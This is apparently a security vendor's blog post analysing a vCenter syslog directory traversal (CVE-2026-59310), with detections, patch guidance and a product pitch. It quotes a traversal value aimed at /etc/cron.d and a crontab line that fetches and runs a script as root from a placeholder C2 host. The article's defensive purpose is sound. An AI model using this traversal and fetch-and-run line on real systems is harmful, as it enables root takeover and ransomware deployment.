Aug 24, 2026BTA Team9 min read

The Log Path Was a Cron Path: How CVE-2026-59310 Turns One vCenter Syslog Message Into Root, reverse_ssh, and Babuk on the ESXi Fleet

We at BlueTeamAutomation have a running joke that "the syslog server ate my homework" is only funny until the syslog server writes into /etc/cron.d. This week the joke stopped landing. Broadcom shipped VMSA-2026-0006 on July 29 and buried a maximum-severity directory traversal bug in the vCenter Server Appliance's own syslog collector as CVE-2026-59310, CVSS 9.8, unauthenticated, no workaround. Five days later, QUIRSO's telemetry caught the first compromised appliances calling home, and by August 9 the same infrastructure had 361 vCenter hosts across 47 countries beaconing back through reverse_ssh sessions to a suspected China nexus actor. CISA added the flaw to its Known Exploited Vulnerabilities catalog on August 18, putting federal agencies on a three day BOD 26-04 clock.

What kept our attention is not the class of the bug; a traversal in a syslog log-file naming path is not exotic. It is the geometry of what happens next. A single well-crafted message aimed at UDP 514 lands on the filesystem as a crontab fragment, cron reads it within about sixty seconds, and the appliance signs its own execution warrant with no exploit chain, no shellcode, and no interactive session in the picture.

How a syslog server ended up writing to /etc/cron.d

The vCenter Server Appliance ships a native syslog collector so ESXi hosts and network gear can forward events into vCenter's own log store instead of running a separate collector next door. That listener speaks UDP 514 by default and can be flipped to TCP or TLS. To route events into per-source, per-facility log files, the collector composes an output path from parts of the incoming message: the source hostname and an application identifier are concatenated onto a base directory and turned into a log file name. On a healthy appliance the writes land at predictable paths under /var/log/vmware/syslog/, one per talker.

The rule the collector should enforce on that composition is not exotic either. It should resolve the final path, compare it to the configured log root, and refuse anything that escapes. That last step is what the maintainers missed. The collector concatenates the attacker-controlled fields, opens the resolved path with its own privileges, and writes the message body into it. Because the syslog collector runs as root inside the appliance, it can open any absolute path the filesystem exposes.

The path is built, the sanitizer isn't

Anyone who can reach UDP 514 can put whatever they want into that composed path. Craft a syslog message where the field the collector uses to derive the output file name reads ../../../../etc/cron.d/zz-poc59310, put a well-formed crontab line in the message body, and the resolved write target becomes /etc/cron.d/zz-poc59310-syslog.log. The trailing -syslog.log is the collector's own naming convention leaking through, which is why the file names QUIRSO recovered from the wild look so odd. One traversal sequence is enough to escape the entire log tree.

/etc/cron.d/ is where the filesystem primitive becomes code execution. The Linux cron daemon rescans that directory, treats any file it finds there as a fragment crontab, and executes each entry under the account named in the line. A single record of * * * * * root curl -s http://<c2>/x | sh dropped into zz-poc59310-syslog.log runs as root within about a minute of the syslog write. The attacker hands a text file to a well-behaved daemon doing exactly what it was designed to do; the exploit is the geometry, not the payload.

zz-poc59310-syslog.log: the file cron reads before you do

The observed campaign follows that primitive with a disciplined post-exploitation loop. QUIRSO documents cron jobs running every minute that stage tools into /tmp/.x/, chmod them, and execute payloads with built-in Linux utilities. An early stage backdoor named linuxFile connects to an attacker controlled WebSocket server; on top of that the operators plant the open source reverse_ssh framework, which flips the SSH handshake so the compromised appliance dials home and the operator connects in through the outbound TCP session. Once that tunnel is up they enrol a fresh vCenter SSO account and start moving.

From a fully compromised vCenter appliance the pivot to ESXi is a short walk down a documented API. The attackers use vCenter's own credentials to reach the hosts under management, drop a Babuk-derived encryptor onto the datastores, and encrypt only the first 512 MB of every VMDK they touch. Partial encryption is much faster than encrypting the whole disk, and 512 MB is more than enough to corrupt every guest filesystem sitting on top; by the time your storage team notices unusual write patterns on the datastore LUN, every guest is already unbootable.

The blind spot at every layer of the vCSA

This bug slips past a normal blue team because every packet in the chain looks routine to the tool watching that layer. Network sensors see UDP 514 traffic aimed at vCenter, exactly what the syslog listener exists to accept, and they do not inspect whether the body is a login event or a shell one-liner. On the appliance itself, host EDR (if it is even deployed on the vCSA, which many teams skip because it is a locked-down virtual appliance) sees a root-owned syslog daemon writing to /etc/cron.d/; unless your rule set specifically contemplated that daemon reaching that directory, the write does not fire. The ESXi hypervisor sees a legitimate vCenter session running commands it is entitled to run.

The exploit does show up clearly in one place operational teams tend to ignore: the vCenter syslog collector's own audit output. A traversal payload that resolves outside the configured log root is a boundary event, and the collector logs it whether the write succeeded or not. If those appliance-local logs are not being shipped somewhere your SOC actually queries, the primitive lands in silence.

Detections you can build today

The observable footprint is thin but real, and it is enough to build a hunt around today. On any vCenter appliance in scope, treat the presence of files under /etc/cron.d/ whose names carry a -syslog.log suffix, or which contain a CVE style token such as zz-poc59310, as high-confidence indicators of exploitation; the pattern QUIRSO recovered is specific enough to key on directly. At the process level, the vCenter syslog daemon writing anywhere outside /var/log/vmware/syslog/ is a signal on its own; auditd watches on /etc/cron.d/ and /tmp/.x/ surface both the drop and any subsequent tampering. In the appliance's outbound firewall logs, the reverse_ssh tunnel shows up as long-lived outbound SSH from an address that should almost never initiate one.

Map the activity to MITRE ATT&CK: T1190 for the initial hit on the syslog listener, T1053.003 for cron persistence, T1572 for the reverse SSH tunnel, and T1486 once the encryptor lands on ESXi. Correlate alerts across those techniques rather than reading any one in isolation, because the individual signals are quiet and only the chain is loud.

Fixed builds, hard reset, and a synthetic test

Upgrade the appliance to a fixed build. Per VMSA-2026-0006 that means VMware Cloud Foundation 9.1.0.0300 on the 9.1 branch, 9.0.2.0100 on the 9.0 branch, or vCenter Server 8.0 U3k on the 8.0 line. Broadcom did not publish a workaround, and the firewall rule everyone reaches for in front of UDP 514 is a viable stopgap only if you can enforce it without breaking every legitimate ESXi and network device log path in the same environment. On any appliance you patch, treat the box as suspect until you have inspected /etc/cron.d/, /tmp/.x/, the SSO account list, and outbound connections; rotate vCenter SSO credentials and any ESXi root passwords a fully compromised vCenter could have reached, because an open reverse_ssh session could easily have exfiltrated all of them.

Proving the upgrade actually held is the part teams skip. From an isolated host, send a synthetic syslog message at the patched appliance on 514 whose composed-name field contains a traversal token, and confirm the collector rejects it and logs the rejection. That two minute check is what separates a patched service from an assumption based on a build number.

This is the loop BlueTeamAutomation automates end to end: BASzy fires safe emulations of the syslog traversal and cron drop primitives against your vCenter fleet, correlates the outbound tunnel and /etc/cron.d/ writes with your EDR and appliance audit telemetry, and hands your SOAR continuous proof the patch held or an open ticket if it did not.

Turn one-off patch verification into a standing control

BASzy exercises the exact primitives behind bugs like CVE-2026-59310 against your fleet and proves in your own telemetry whether your defenses caught it.

Talk to BTA →